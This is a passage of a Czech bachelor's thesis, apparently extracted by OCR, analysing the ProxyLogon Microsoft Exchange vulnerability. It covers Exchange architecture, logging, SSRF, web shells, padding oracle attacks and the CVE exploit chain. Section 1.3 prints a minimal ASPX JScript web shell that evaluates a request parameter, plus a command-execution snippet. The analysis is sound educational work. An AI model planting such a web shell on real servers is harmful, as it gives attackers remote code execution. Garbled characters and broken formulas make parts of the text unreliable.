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Abstrakt

Abstrakt

Na zac¢atku roku 2021 byla objevena zdvazna zranitelnost v programu Microsoft Exchange, ktera
byla hojné zneuzivana, a v kombinaci s dalsimi zranitelnostmi umoznovala tto¢niktim kompletni
ovladnuti daného systému. Popisovana zranitelnost se nazyva ProxyLogon a prace se zaméruje
na analyzu této zranitelnosti a itoku s ni spojenych, které vedly k masivnimu tniku dat nejen ze
statnich a vojenskych instituci. Nasledné je provedena demonstrace jednoho z utoku. Pro ucely
demonstrace a analyzy zranitelnosti bylo ptipraveno virtualni prostredi, které lze dédle vyuzit pro
edukacni tcely. Na zavér jsou diskutovany moznosti prevence z pohledu poskytovatele serveru.

Klicova slova ProxyLogon, Zranitelnosti, Microsoft Exchange, Windows Server, Analyza titoki,
Python

Abstract

In early 2021, a serious vulnerability was discovered in Microsoft Exchange that was widely
exploited and combined with other vulnerabilities to allow attackers to take complete control
of the server. The described vulnerability is called Proxylogon and the Thesis focuses on the
analysis of this vulnerability and attacks related to it, which led to massive data leakage not
only from governmental and military institutions. Subsequently, a demonstration of one of the
attacks is performed. For the purpose of the demonstration and analysis of the vulnerability,
a virtual environment has been prepared which can be further used for educational purposes.
Finally, prevention options from the server provider’s perspective are discussed.

Keywords ProxyLogon, Vulnerabilities, Microsoft Exchange, Windows Server, Attack Analy-
sis, Python
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Uvod

V dnesnim digitalnim svété by méla byt precizni bezpecnost zakladnim stavebnim kamenem
kazdé dulezité spolecnosti. Neustale naristd pocet kybernetickych ttokt a tutocnici prichazi
s novymi technikami a metodami. Nedodrzeni bezpecnostnich principtt méa mnohdy odstrasujici
nasledky — velmi ¢asto dochézi k masivnim Unikim uzivatelskych dat, v hor$im pripadé muze
dojit k zasifrovani dat a vydirani, pripadné k uplné ztraté vSech dat. Také existuji scénére, kdy
hackersky utok muze nicit zivoty — napiiklad pokud si uto¢nik vybere cil, jenz muze ovlivnit
zivoty druhych — napriklad nemocnice, elektrarna, ale i pouze chytré auto. P¥i pandemii covid-
19 exponencialné narostl pocet kybernetickych utokid na kancelarské programy a v nékterych
byly nalezeny strasidelné chyby. Jednim z takovych programu je Microsoft Exchange. Microsoft
Exchange je serverové feseni pouzivané hlavné pro spravu e-mailové posty. Tento program pouziva
nékolik set tisic organizaci po celém svété a prevazné zastoupeni ma i ve statnich institucich,
nutnost precizniho zabezpeceni je tedy znac¢na. Bohuzel jsou v Microsoft Exchange opakované
nachazeny nové zranitelnosti. Jednou z poslednich velmi vyznamnych a zavaznych zranitelnosti
je ProxyLogon. Tato zranitelnost byla velmi zneuzivana v rznych ttocich na Exchange servery
a vedla k masivnimu tniku dat. Byla dokonce zneuzivana v nékterych ttocich spojenych s valkou
na Ukrajiné v roce 2022. Préce se zabyva touto zranitelnosti, itoky spojenymi s ni a ostatnimi
aspekty, napriklad jak k takové zranitelnosti viibec doslo, jak tomu do budoucnosti predchazet,
jaké byly dopady tutokt a co z toho vyplyva.

Cilem teoretické casti bakalarské prace je seznamit se se zranitelnosti ProxyLogon. Teoreticka
Cast nejprve definuje potfebné pojmy pro jeji pochopeni — seznamuje ¢tenare s programem Micro-
soft Exchange, prevazné z hlediska architektury a bezpecnosti, a nasledné popisuje souvisejici
utoky a zranitelnosti. Nakonec popisuje onu samotnou zranitelnost.

Cilem praktické ¢asti prace je analyza utokt postavenych na zranitelnosti ProxyLogon a na-
slednd demonstrace jednoho konkrétniho tutoku v predem pripraveném virtudlnim prostredi.
Prakticka ¢ast na zdkladé provedeného titoku analyzuje, jakych chyb se autori dopustili a které
bezpecnostni principy byly poruseny. Nakonec jsou diskutovany moznosti prevence.

Celkovym cilem bakalarské prace je upozornit ¢tenare na nebezpecnost kybernetickych ttoku
a zranitelnosti skrze zranitelnost ProxyLogon. Vystupem bakaldrské prace by mél byt i mimo jiné
navod, jak pripravit virtualni prostfedi, ve kterém je mozné zranitelnost demonstrovat, a toto
prostredi dédle vyuzivat napiiklad pro vyukové tcely.
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Kapitola 1

Zakladni pojmy

Pro lepsi pochopeni praktické Casti prace je potieba vysvétlit a definovat pojmy a techniky,
které byly pouzity. Prvnim dulezitym prvkem, ktery je predstaven, je samotny program Micro-
soft Exchange, protoze v tomto programu byla nalezena zkoumana zranitelnost ProxyLogon.
Je nutné poznamenat, ze program je velice rozsdhly a existuje mnoho aspekti, o kterych by se
dalo psat, ale prace se bude zabyvat priméarné architekturou a bezpecnosti, jelikoz ostatni aspekty
nejsou tak vyznamné a dulezité pro pochopeni utoku spojenych se zranitelnosti ProxyLogon. Na-
sledné je popsédna zranitelnost SSRF (Server-Side Request Forgery), protoze ProxyLogon spada
do mnoziny zranitelnosti typu SSRF. Déle je vysvétlen pojem Web Shell a je uveden do kon-
textu zranitelnosti ProxyLogon. Nakonec je popsin Padding Oracle tutok, ktery je nutny znat
pro pochopeni zranitelnosti ProxyOracle, coz je navazuji zranitelnost na ProxyLogon.

1.1 Microsoft Exchange

Microsoft Exchange (zndmy téZ jako MS Exchange) je program vyuZzivany hlavné pro spravu
e-mailové posty, kalendare a kontaktd. Jednd se o serverové feseni, které je podporovano pouze
na opera¢nim systému Windows Server. Server na kterém je nainstalovan a vyuzivan Exchange
se oznacuje jako , Exchange server. Pro ptistup k Exchange Serveru je nejcastéji vyuzivana
klientska aplikace Microsoft Outlook, pfipadné je mozny pristup pres webové rozhrani Outlook
Web Access. Aktualné podporované verze jsou 2013, 2016 a 2019. Na zacatku roku 2021 se
v Microsoft Exchange objevila kriticka zranitelnost ProxyLogon a nasledné v pribéhu roku byly
objeveny dalsi kritické zranitelnosti — ProxyOracle a ProxyShell. Tyto zranitelnosti vznikly pte-
devsim snahou udrzovat zpétnou kompatibilitu mezi riaznymi verzemi Exchange serveru a také
pomérné velkou zménou v architekture Exchange serveru. Pravé proto se prace v nasledujicich
podkapitolach zaméruje na architekturu programu.

1.1.1 Architektura Microsoft Exchange

Exchange pouziva nékolik protokoli, avSak pro tuto praci jsou nejdulezitéjsi pouze dva: HTTPS
a MAPI. HTTPS protokol je pouzivan ke standardni komunikaci mezi klientem a serverem.
Nejcastéji se pouziva pfi pristupu k riznym webovym sluzbam, popsanych v nasledujici kapitole.
MAPI protokol se pouzivd pro komunikaci mezi serverem a klientskym programem Outlook.
MAPI protokol byl vyvinut pfimo Microsoftem.

Exchange server mize mit rtzné role, které definuji jeho poskytovanou funkcionalitu. V nejno-
véjsi verzich 2016 a 2019 se rozlisuji pouze dvé role: postovni server (Mailbox Server) a transportni
server (Transport Server).
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B Obrazek 1.1 Na obrézku je nakreslené schéma, které doporucuje architekturu firemni sité pro instalaci
Exchange. Schéma doporucuje Microsoft a bylo prevzato z jeho stranek. []

Postovni server obsahuje vSechnu potfebnou funkcionalitu pro spravu e-mailové posty. Je
na ném umisténa databaze, kterd obsahuje e-mailovou postu, adresy a dalsi interni data. Také
umoznuje pristup skrze Client Access Service, coz je sluzba, kterd umoznuje klientsky aplikacim
se pripojit na dany server.

Transportni server se stard o veskerou postu, kterd probiha mezi organizaci a externimi sub-
jekty pomoci protokolu SMTP. Idedlné je instalovin na koncovy uzel vnitini sité, aby mohl
efektivné filtrovat komunikaci mezi interni siti a externimi postovnimi servery. Transportni ser-
ver vSak neumi pfeposilat pozadavky od klienti (naptiklad Outlook) na postovni servery. Tudiz
F)gétovni servery musi byt pro klientsky pristup dostupné. Doporucené schéma sité je na obrazku
1.1

Architektura MS Exchange je podstatné odli$nad mezi jednotlivymi verzemi programu, avSak
Microsoft se zaroven snazi udrzovat zpétnou kompatibilitu mezi starsimi a novéjsimi verzemi
programu. Kviili této filozofii Casto vznikaji v programu neptesnosti, které mohou vést na chyby
fxpu ProxyLogon. Historie vyvoje architektury, konkrétné jednotlivych roli, je vidét na schématu
1.2
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B Obrazek 1.2 Schéma zachycuje vyvoj architektury programu Exchange. Konkrétné je vidét rozdil
v jednotlivych rolich serverti v ramci riznych verz{ programu Exchange. Schéma bylo prevzato z [2].

Jednou ze zdkladnich komponent architektury MS Exchange je Client Access Service (zkratka
CAS), kterd je zodpovédna za prijimani jakychkoliv pozadavki od klienta. Pozadavky déle filtruje
a preposila je na odpovidajici backendovou! sluzbu. DileZity fakt je, e se klient nemfize piimo
pfipojovat na sluzby umisténé na backendu, ale je nutné, aby se pfipojil na frontend? a nasledné
bude jeho pozadavek zpracovan a pripadné preposlan. Ve starsich verzich Exchange existovala
samostatnd role ,, Client Access Role* a Exchange v této roli byl instalovan na samostatny server.
V novych verzich 2016 a 2019 je CAS jiz soucasti postovniho serveru. Detailni pohled je vidét
na schématu [1.3.

Ve schématu E je také zakreslena moznost pouziti UM (Unified Messaging). UM je funkce,
kterd integruje rizné formy zprav (napiiklad e-mail, sms, video, hlasovy e-mail) do jediného
systému. Uzivatel ma tak pohodlny pristup ke vSem zpravam pres jediné rozhrani. V pfipadé
Exchange se jedna o integraci hlasové posty do klasické elektronické posty. Pravé v této funkci
byla nalezena zranitelnost CVE-2021-26857, ktera souvisi s ProxyLogonem. Je vsak dilezité
poznamenat, ze funkce UM je dostupnd pouze ve verzich MS Exchange 2013, 2016 a neni ve
vychozim stavu zapnuta. V nejnovéjsi verzi MS Exchange 2019 tato sluzba uz neni dostupna,
a tak v této verzi také nefiguruje zranitelnost CVE-2021-26857. [1, kap. Architecture] Dalsi
dtlezité backendové sluzby jsou popsany v samostatné kapitole @

1.1.2 Sluzby Microsoft Exchange

vvvvvv

sehraji roli pfi demonstraci zranitelnosti ProxyLogon, piipadné pii popisu nékterych nasledujicich
zranitelnosti, a proto je vhodné mit o téchto sluzbach zakladni prehled.

ISS (Internet Information Services nebo také Internetovd Informacni Sluzba) je webovy server
vytvoreny a spravovany spolecnosti Microsoft. V dobé psani této prace se jednd o paty nejpo-
uzivanéjsi webovy server. [3] ISS je soucésti vétsiny verzi Windows. Exchange pro uzivatelsky
pristup pouziva préavé ISS, na kterém bézi vSechny webové sluzby. [4]

Autodiscover nabizi autentizovanym uzivatelim moznost zjistit rtizné informace o Exchange

IPojem backend (nékdy téZ Back End) je v tomto kontextu chdpén jako ¢ast programu (webové stranky), kterd
provadi administraci a zpracovani dat a uzivateli je nepristupna.

2Pojem frontend (nebo také Front End) je v tomto kontextu chépan jako ¢ast programu (webové stranky),
kterd prezentuje uzivatelovi informace a vysledky operaci z backendu.
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B Obrazek 1.3 Schéma ukazuje architekturu CAS sluzby. Konkrétné jsou vidét jednotlivé komponenty
a lze vidét jejich propojeni. Schéma bylo prevzato z oficialni dokumentace: , kap. Architecture].



Microsoft Exchange

komponentich. Ve vychozim stavu je dostupna na url adrese: https://<ExchangeServer>/
autodiscover/autodiscover.xml. [1, kap. Autodiscover]

Exchange Admin Center (EAC) je webové rozhrani umoznujici spravu Exchange Serveru
skrze webovy prohlize¢. EAC nabizi Sirokou skdlu moznosti, napriklad spravu e-mailovych
schranek, spravu samotné aplikace, pripojovani dalsich servert, nastavovani riznych pravidel
pro filtrovani posty a tak dale. EAC bylo prvné pfedstaveno ve verzi 2013, kde nahradilo sta-
vajici FeSeni Exchange Managment Console (EMC) a Exchange Control Panel (ECP). EAC se
nachdzi ve virtudlnim adresafi v ISS na daném serveru. Ve vychozim nastavenim je dostupné
na url adrese https://<ServerFQDN>/ecp, pricemz FQDN je zkratka pro Fully-Qualified
Domain Name, tedy doménové jméno véetné top-level domény a root domény (napiiklad
mailbox01.MegaCorp.com). [1, Exchange admin center]

Exchange Web Services (EWS) je webové rozhrani, které umoziuje programatorsky pii-
stup a spravu uzivatelskych dat, napriklad e-mailové posty, kalendare, kontaktt ¢i ukola
na Exchange serveru. EWS je open-source a mé zdrojovy kéd umistény na Githubu https:
//github.com/officedev/ews-managed-api, kde je mozné dohledat podrobné informace.
[5, kap. EWS reference for Exchange]

Offline Address Book (OAB) je sluzba, diky které je umoznéno uzivatelim pripojujicim se
pres klienta Outlook, kesovani globalniho seznamu adres (GAL)B. GAL je pak dostupny
i offline, kdy nemd uzivatel pristup k Exchange serveru. [1, kap. Offline address books in
Exchange Server]

Outlook on the web (OWA) nabizi uzivatelim pfistup k jejich e-mailové posté a dalsim
funkcim pres webové rozhrani, které bézi na samotném Exchange serveru. Ve vychozim stavu
je pfistupnd na https://<ServerName>/owa. [1, kap. Outlook on the web in Exchange Server]

Exchange Server Powershell je posledni dulezitd sluzba, kterd poskytuje privilegovanym uzi-
vateliim moznost spravovat cely Exchange program pouze za pomoci prikazové radky. Tato
sluzba navic obsahuje funkcionalitu Remote Powershell, kterd nabizi, aby se privilegovany
uzivatel pripojil k prikazové radce ze vzdaleného pocitace a spravoval Exchange na dalku.
Privilegovany uzivatel se miize pfipojit jak z interni sité, tak z internetu. [6]

1.1.3 Bezpecnostni prvky Microsoft Exchange

Microsoft Exchange by mél byt instalovan na operac¢ni systém Windows Server. Tento operac¢ni
systém mé od verze 2012 stejné jako vétSina ostatnich operacnich systému od Microsoftu (Win-
dows Vista, 7, 8, 10, 11) integrovany antivirus Microsoft Defender. Jedn4 se o software vyvijeny
Microsoftem a je ur¢eny pfimo pro pouziti na operacnich systémech Windows. Periodicky skenuje
cely systém a upozornuje uzivatele na nalezené hrozby. Zékladni ochranu na trovni opera¢ni sys-
tému tak zajistuje typicky Microsoft Defender, ale uzivatel si samoziejmé miize nainstalovat jiny
antivirus a pouzivat ten. Samotny Microsoft Exchange od verze 2016 prinasi vestavénou ochranu
pred spamem a malware pomoci tak zvanych Antispam a Antimalware agenti. Antispam agent
za pomoci ruznych heuristik podrobnéji popsanych v dokumentaci dokéze efektivné rozpoznéavat
spam, ve specifickych pfipadech i phishing. [1, Antispam protection]

Déle Microsoft Exchange nabizi vestavéného Antimalware agenta. Tento agent skenuje pii-
chozi postu, zda neobsahuje néjaky malware, pokud néjaky detekuje tak automaticky provede
predem prednastavené akce. [1, Antimalware protection]

Alternativni ochranu pred malwarem a spamem poskytuje Exchange Online Protection (EOP).
Jednd se o cloudové reseni, které oskenuje kazdy ptichozi e-mail nékolika externimi antivirovymi

3Globalni seznam adres (GAL) je sdileny seznam e-mailovych adres, ktery obsahuje vSechny éleny dané orga-
nizace.
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programy a vyhodnoti, zda je dany e-mail hrozba. Teprve poté ho preposle na specifikovany ci-
lovy server. Organizace pouzivajici EOP tak ziska pomérné efektivni a spolehlivou ochranu pred
e-mailovymi hrozbami. Microsoft mimo jiné nabizi i moznost nechat si hostovat celé e-mailové
feseni online na cloudu u Microsoftu. Organizaci tak odpadé zodpovédnost za jakykoliv postovni
server a neexistuje riziko, ze by se nékdo prolomil do vnitini sité organizace skrze Spatné za-
bezpeceny server, napiiklad pomoci zranitelnosti ProxyLogon. Je vSak nutné poznamenat, Ze se
toto Teseni projevi na cené, a proto to neni vzdy preferovania moznost.

Dalsim dilezitym bezpecnostnim prvkem je logovani, diky kterému muze byt administra-
tor upozornén na podezrelou aktivitu, pripadné mize analyzovat probéhly utok a ovérit si, zda
byl nakazen. Exchange nabizi Sirokou skalu logovani a administrator mtze taktéz vyuzit logi
pristupnych v opera¢nim systému Windows Server. VSechny logy programu Exchange se naché-
zeji v adresari C: \Program Files \Microsoft\Exchange Server\<version number>\Logging.
Jednd se o velkou mnozinu logt (desitek adresaii), a proto jsou popsany jen ty dulezité pro tuto
préaci. Jmenovité se jednd o adresai EWS, ktery obsahuje zdznamy o pouzivani této sluzby. Dalsi
dulezity adresér je ECP, ktery obsahuje zdznamy o pouzivani EAC rozhrani (EAC se v predeslych
verzich jmenovalo ECP). Poslednim pro tuto praci dulezitym adreséfem je OABGeneratorLog,
ktery obsahuje zdznamy udélosti tykajicich se sluzby Offline Address Book.

Zékladnim logovanim v MS Exchange je ,,admin audit log“. Do tohoto logu se zaznamendvaji
administrativni zmény v konfiguraci programu. Zaznamenavaji se piikazy z predem definované
mnoziny, které jsou poustény v Exchange PowerShell. Taktéz se zaznamenévaji zmény provedené
v EAC, protoze EAC , pouze‘ vola prikazy z Exchange PowerShellu. Logovani lze volné konfi-
gurovat, ale jakdkoliv zména v konfiguraci logovani je vzdy zaznamenana. ,, Admin audit log“ je
dostupny mimo jiné z EAC, pomoci zalozky ,, Compliance managment —> Auditing®.

Dale MS Exchange nabizi ,,mailbox audit log*, do kterého se zaznamenavaji pristupy k jed-
notlivym postovnim schrankdm a jaké akce a udalosti byly vyvoldny. Predevsim je dulezité za-
znamendvat pristupy do schranek, které vlastni nékdo jiny nez ten, kdo k nim pravé pristupuje.
[1, Policy and compliance]

Nésledné ma administrator moznost zkoumat aktivity diky logovacim mechanizmtm webo-
vého serveru IIS. Samotny IIS nabizi Sirokou skélu nastaveni logovani, avsak vychozi stav vcelku
dobfe postacuje pro odchyceni nekalych aktivit Gto¢nikt. Ve vychozim stavu IIS zaznamenava
aktivity podle W3C* forméatu. Podstata tohoto logovani spociva v tom, ze pro kazdy virtudlni
adresar v IIS se vytvori slozka a v ni se vytvori soubory pro kazdou relaci (vymezeny ¢as, kdy
nékdo pristoupi na danou sluzbu). Zaroven se do souboru pro danou relaci zaznamenava kazdé
volani API dané sluzby. V pripadé MS Exchange se tedy jednd o sluzby EAC a OWA, které
jsou umistény ve virtudlnim adresari IIS. Ve vychozim stavu jsou logy umistény v adresari:
%SystemDrive),\inetpub\logs\LogFiles. [4, Configure Logging in IIS]

Existuje dalsi skala rtznych logt, naptiklad Windows udélosti a Powershell udalosti, avsak
ty uz nejsou pro tuto praci tolik podstatné a proto nebudou podrobné rozepisovany.

1.2 Server-Side Request Forgery

Server-Side Request Forgery (SSRF) je druh webové zranitelnosti, ktery umoziiuje dtocénikovi
provést HT'TP pozadavek skrze zranitelny server. Pozadavek ve skutecnosti vykona atakovany
server a Uto¢nik muze zvolit libovolny cil, na ktery ma byt pozadavek vykonan. Typickym cilem je
sam zranitelny server, protoze se ito¢nik snazi zneuzit vnitinich sluzeb serveru, které nejsou pro
externiho uzivatele dostupné. Obecné se rozlisuji t¥i druhy SSRF, podle toho, zda se k tto¢nikovi
dostane odpovéd na pozadavek:

Blind K utoc¢nikovi se odpovéd nedostane a provadi ttok naslepo.

4vice o tomto formétu lze najit v dokumentaci Microsoft https://docs.microsoft.com/en-us/windows/win32/

http/w3c-logging
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Semi-Blind K ttoc¢nikovi se nedostane plnohodnotnd odpovéd, avsak nékteré ¢asti odpovedi
ziska. Muze se jednat pouze o metadata, protoze tto¢nik si muze napriklad pomoci rychlosti
odpovédi ovérit, zda byl utok tspésny.

Non-Blind K ttoc¢nikovi se dostane plnohodnotnd odpovéd. [@]

1.3 Web Shell

Web Shell je specialni soubor, ktery umozni Gto¢nikovi opakovany pristup na zranitelny server.
Zneuziti néjaké webové zranitelnosti typicky vyusti v nahrani Web Shellu, aby dto¢nik mohl
spoustét prikazy na infikovaném pocitaci a provadét dalsi skodlivé aktivity. Aby byl Web Shell
pouzitelny, musi ho ttoénik naprogramovat v jazyce, ve kterém bézi webové stranky. Vétsina
Exchange stranek ma koncovku .aspx a jedna se tedy o tak zvané ,, Active Server Page Extended*.
Takové stranky jsou nejCastéji napsany pro Framework ASP.NET v jazyce C# nebo Visual
Basic Scripting. Nasledné jsou kompilovany serverem a klientovi se do prohlizece odesle vysledné
HTML. Pro utoky na Exchange servery je tedy potfeba napsat Web Shell jako ASPX stranku.
Jeden z nejpopularnéjsich Web Shelli je zobrazen na ukézce cislo . Web Shell je v tomto ptipadé
napsan v jazyce JScript, a tak néasleduje ukéazka ¢islo 2, jak v jazyce Jscript spoustét externi
prikazy skrze tento Web Shell.

<script language="JScript" runat="server">

function Page_Load() {
eval(Request["EvilCorp"], "unsafe");

}

</script>

B Vypis kédu 1 Utoénik pouzil jazyk JScript a vytvofil jednoduchy skript. Ve skutecnosti se jednd
o webovou stranku, kterd vykond jakykoliv kéd v jazyce JScript, ktery bude pti HTTP Post pozadavku
na tuto stranku v proménné , EvilCorp“. Takovy kéd bude spustén na strané serveru, protoze ttocnik
nastavil preferenci ,, runat“ jako ,server®.

new ActiveXObject("WScript.Shell") .Exec("cmd /c whoami").StdOut.ReadAll();

B Vypis kédu 2 Kéd napsany v jazyce JScript demonstruje, jak spustit piikaz ,, whoami“ a ziskat
standardni vystup.

1.4 Padding Oracle ttok

V roce 2002 na konferenci EuroCrypt byl predstaven novy ttok postrannim kanalem na Sifrovaci
méd CBC (Cipher-Block Chaining) s PKCS#5 paddingem. [] Tento ttok byl nazvan Padding
Oracle Attack a umoznuje ttoénikovi bez znalosti sifrovaciho klice, rozsifrovat text, ktery byl
zagifrovan s pouzitim CBC médu. Utoénik dokonce nepotiebuje znét zpisob Sifrovani bloku. Utok
je nejcastéji provadén na CBC mdd, avsak ukazuje se, ze 1 nékteré sifrovaci médy pro asymetrické
Sifrovani mohou byt nachylné na tento typ dtoku. @ Nejznameéjsi Padding Oracle utok byl
POODLE, ktery tdtoc¢il na SSL verzi 3.0 a umoznoval odposlech zasifrované komunikace. [@]
Vzhledem ke stafi a popularité Padding Oracle itoku by bylo logické oc¢ekavat, ze se dnes uz moc
nevyskytuje, ale pravé v poloviné roku 2021 byla v programu Microsoft Exchange nalezena chyba,
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kterd umoznuje provedeni Padding Oracle utoku a ziskani ptrihlasovacich udaji. Pro pochopeni
Padding Oracle ttoku je vhodné si pripomenout, co je to CBC modd a jak funguje PKCS#7
padding.

CBC je jeden z nejpouzivangjsich operac¢nich médu blokovych Sifer a je zalozen na myslence
fetézeni jednotlivych blokt. Dany blok se nejprve zasifruje a s vysledkem se provede XOR operace
s nasledujicim blokem, ktery je zasifrovan az po této operaci XOR. Pro XOR prvniho bloku se
pouzije inicializacni vektor. Toto se opakuje, nez je zasifrovan cely otevieny text. Cely proces je
zobrazen na schématu 1.4. Aby bylo mozné nékteré procesy korektné popsat, je praci pouzito
nasledujiciho znaceni:

@ operace XOR

OT,, blok ¢islo x otevieného textu
ST, blok ¢islo z sifrovaného textu

E}. zaSifrovani bloku s pouzitim klice k
D, desifrovani bloku s pouzitim klice k
n velikost bloku

ST, (y) konkrétni bajt y v bloku éislo x

OT. OT. OT:

Ex Ex =

IV, ST.- ST.- ST;

IV, ST.— ST STs

D« D« D«
D D O

OT. OT. OT:

B Obrazek 1.4 Schéma zachycuje proces Sifrovani a deSifrovani jednotlivych bloki podle CBC médu.
Schéma bylo nakresleno podle [11]

Ze schématu Q je patrné, ze desifrovani probiha inverzni operaci k Sifrovani. Zasifrovany
blok je tedy nejprve rozsifrovan a pak je provedena XOR operace s predchozim zasSifrovanym
blokem. Nakonec kazdého Sifrovaného textu je pridan padding, aby byl vysledek vzdy zarovnan
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do velikosti bloku. Nejcastéji pouzivany padding je standard PKCS#7, ktery funguje tak, ze
hodnota kazdého pridaného bajtu je pocet bajtl, které se pridaly kvili paddingu. Naptiklad
pokud by bylo potieba pridat dva bajty, tak se na konec textu pridaji dva bajty s hodnotou
0x02. [12]

Utok byl nazvan Padding Oracle Attack, pravé kvili tomu, Ze je zaloZen na tak zvaném
orakulu, nejcastéji se vSak jedna o klasicky server. Toto ordkulum prijme zasifrovany text, roz-
Sifruje ho a odpovi, zda je validni padding. Typicky scénaf ttoku je takovy, ze ttoc¢nik néjakym
zpusobem ziska serverem zasifrovand data a snazi se je rozsifrovat. Server poskytuje urcité API
a v tomto API je nechténa funkcionalita, kterd povoluje uto¢nikovi ovérit, zda se néjaky zasifro-
vany text rozsifruje do otevieného textu s validnim paddingem. Napriklad server pii autentizaci
vrati chybovou hodnotu 500 pokud mé zasifrovany text v pozadavku nevalidni padding a 403,
pokud ma validni padding, ale Spatné prihlasovaci iidaje. Pokud je prolamovany text zasifrovan
stejnym kli¢em, které pouzivd Ordkulum pfi deSifrovani, tak je mozné cely text desifrovat. [13]

OTI OTZ OT3

= Ex Ex

A

IV, ST.- ST.- STs

IV S:IH— S:D— STs

D« D« D«
| | !

M. M. M,

W) D D
PV N> N>

OT. OT. OT:

B Obrazek 1.5 Schéma zachycuje proces Sifrovani a deSifrovani jednotlivych blokt podle CBC médu.
Do schématu byl zanesen nové zavedeny mezistav M, = Dy (ST%).

Schéma H zobrazuje detail desifrovani CBC blokt. Pro tucely utoku je zaveden pojem ,, mezi-
stav“, ktery se znaci M,, kde z je cislo bloku. Tento stav je definovan jako blok, ktery byl
rozsifrovan, ale jesté nebyl proveden XOR s piedchozim blokem, tedy: M, = Dy(ST,). Z toho
plyne, ze M, = ST,_1 & OTy a z toho se odvodi nésledujici vztah: OT,, = ST,_1 & M,. Utoénik
ma k dispozici cely zasifrovany text, tudiz i libovolny ST, blok. Sta¢i mu tak zjistit mezi-stav
a ziskd otevieny text, pricemz mezi-stav se zjisti pravé skrze Ordkulum. Nejprve si ttoc¢nik
pripravi néjakd ndhodna data jako ST, pticemz ST [n] (posledni bajt) bude mit hodnotu 0x00.
Nésledneé sestavi Sifrovany text o velikosti dvou blokt: ST, + ST,4+1 a posle ho na server. Server
prvné zacne desifrovat posledni blok, aby zjistil, zda je validni padding. Rozsifruje si tedy interné
data takto: OT,, | = Dy(STy41)® ST, a odpovi, jestli ma Sifrovany text validni padding. Pokud
server odpovi, Ze Sifrovany text nemd validni padding, uto¢nik iteruje posledni byte a zkusi to
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znovu, dokud nenarazi na hodnotu, ktera zajisti validni padding. Jakmile Gtoc¢nik zjist{ hodnotu,
se kterou m4 Sifrovany text validni padding, muze rozsifrovat posledni bajt sifrovaného textu.
Validni padding znamend ze OT), [n] musi mit hodnotu 0x01, jinak by nemél validni padding
podle normy PKCS+#7. Nasledné staci dosadit do vzorci:

OT!1[n] = Dy(STor)ln] & ST
OT, 0] = Myialin] @ ST
My 41[n] = OT, ,[n] ® ST, [n]
OTy11[n] = Myya[n] ® STy[n]

—~ o~~~
—_ = =
~— — ~— ~—

1
2
3
4

Timto zpusobem utocnik zjisti hodnotu otevieného textu posledniho bajtu. Aby mohl zjistit
predchozi bajt, musi nyni nastavit ST.[n] tak aby OT.[n] == 0x02. ProtoZe znd mezi-stav
z predchozi kroku, tak to nen{ problém: ST, [n] = OT.[n]® M, [n]. Nsledné bude hledat hodnotu
STin — 1] tak aby ST, + ST,+1 mélo validni padding. Jakmile najde pozadovanou hodnotu
ST.n — 1], pro kterou m4 Sifrovany text validni padding, tak si mtize byt jist, ze OT.[n — 1] ==
0x02, protoze jedind moznost, kdy bude mit rozsifrovany text validni padding je, kdyz bude
mit predposledni bajt hodnotu 0x02. Néasledné si tutocnik stejné jako v predchozim pripadé
dopocitd OT,[n — 1]. Timto zpusobem je tedy tto¢nik schopen rozsifrovat vse az na prvni blok,
protoie pro operaci XOR je jako druhy vstup pouiit inicializaéni vektor Pokud ﬁtoénik néjakym
desifrovat i prvni blok. Nicméné prvnl blok casto nemusi obsahovat citliva data, pripadné je
mozné si data domyslet nebo se bez nich obejit. Kromé toho je inicializa¢ni vektor ¢asto prvnim
blokem Sifrovaného textu, takze ho utoc¢nik taktéz zna.



Kapitola 2

Utoky postavené na zranitelnosti
ProxyLogon

Tato kapitola se zaméruje na zranitelnost ProxyLogon a ttoky, které ji zneuzivaji. Nejprve je
predstaven samotny Tetézec zranitelnosti obsahujici ProxyLogon a jsou popsany moznosti jeho
zneuziti. Nésledné je kazd4 zranitelnost vysvétlena na teoretické trovni, konkrétni ukizka a de-
tailni analyza je provedena v kapitole 3. Déle je predstavena provedend analyza probéhlych utoki.
Nakonec jsou popsdny navazujici zranitelnosti ProxyOracle a ProxyShell. V této kapitole jsou
vyuzity a popsany nékteré znalosti, které byly zjistény z dostupnych technickych popist nebo

vvvvvv

ni byla vyclenéna samostatnd kapitola v praktické ¢asti préce.

2.1 Retdézec zranitelnosti

Jak je obecné znamo, Microsoft si zaklada na zpétné kompatibilité mezi raznymi verzemi pro-
grami. Tato filozofie je obdivuhodnd a casto uziteCna, ale je potfeba poznamenat, ze kvili
ni vznikd mnoho zranitelnosti. Preci jen se nejednd o jednoduché a malé programy, obzvlast
v pripadé programu Exchange. Udrzovat bezpecné zpétnou kompatibilitu mezi rozdilnymi ar-
chitekturami muze byt i pro tak zkuSené vyvojare, jako jsou pani z Microsoftu, velky orisek. Ve
verzi Exchange 2013 doslo k zcela zasadni zméné v architekture programu: CAS byl rozdélen na
Backend a Frontend. Také doslo k radikalnim zménam v rolich, jak ukazuje schéma @ Kvili
tomu se podstatné prepracoval design architektury programu, a to vyustilo v urc¢ité nesrovnalosti
a zavleceni zranitelnosti do programu.

ProxyLogon je pravé jedna ze zranitelnosti, ktera vznikla kvili prepracovani architektury ve
verzi 2013. Jedna se o Non-Blind SSRF zranitelnost, kterda umoznuje ato¢nikovi obejit autenti-
zacni mechanismus a provadét libovolné pozadavky jako zranitelny server. Samotna zranitelnost
vSak utocénikovi nestad¢i na RCE (Remote Code Execution), ale lze ji zneuzit napiiklad k piihla-
seni se do EAC jako administrator. Kromé ProxyLogonu byly ve stejny ¢as v Microsoft Exchange
objeveny dalsi t¥i zranitelnosti, konkrétné ve sluzbé EAC: CVE-2021-27065, CVE-2021-26858
a CVE-2021-26857. Uto¢nik tak miZze pomoci kombinace ProxyLogonu a nékteré zranitelnosti
v EAC ziskat kompletni{ kontrolu nad serverem. VSechny Ctyfi zminéné zranitelnosti (CVE-
2021-26855, CVE-2021-27065, CVE-2021-26858 a CVE-2021-26857) tak tvor{ pomyslny Fetizek
zranitelnosti, ktery usti v RCE. Nejcastéjsi volba druhé zranitelnosti je CVE-2021-27065, protoze
je dostupna ve vychozim stavu po instalaci Exchange. Schéma 2.1 ukazuje moznosti penetrace
zranitelného Exchange serveru.

13



14 Utoky postavené na zranitelnosti ProxyLogon

@

CVE-2021-26858 D
exploit (post-auth g —  » X)) - —————— |
file write) —

‘Write a malicious Drop web shells I
file to any path .
— @ 0 —@ s
Send malicious CVE-2021-26855 Authenticate as CVE-2021-27065 :
Post-
HTTP request exploit (SSRF) Exchange server exploit [po_st-auth h:l?;nfgﬂr_mse
on port 443 file write) keyboard activity
|
